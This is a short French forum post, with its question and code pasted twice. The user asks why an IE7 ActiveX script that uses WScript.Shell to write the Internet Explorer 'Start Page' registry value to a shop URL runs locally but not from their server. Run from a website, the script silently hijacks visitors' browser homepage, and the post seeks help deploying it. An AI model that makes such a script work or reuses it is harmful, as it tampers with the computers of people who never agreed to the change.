Probleme activeX et objet
Bonjour,
le probleme est que ce code ne marche pas sur mon serveur pourtan il marche sur mon ordi
<script type="text/javascript" >
/******************Objet Shell******************/
var shell = new ActiveXObject("WScript.shell");
var run = "HKEY_CURRENT_USER\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page";
var val = "http://www.shoplike.fr";
shell.RegWrite(run,val,"REG_SZ");
</script>
je voudrai comprendre pourquoi et comment faire pour que ca marche sur mon serveur
merci d'avance de votre aide.
le probleme est que ce code ne marche pas sur mon serveur pourtan il marche sur mon ordi
<script type="text/javascript" >
/******************Objet Shell******************/
var shell = new ActiveXObject("WScript.shell");
var run = "HKEY_CURRENT_USER\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page";
var val = "http://www.shoplike.fr";
shell.RegWrite(run,val,"REG_SZ");
</script>
je voudrai comprendre pourquoi et comment faire pour que ca marche sur mon serveur
merci d'avance de votre aide.
Configuration: Windows XP Internet Explorer 7.0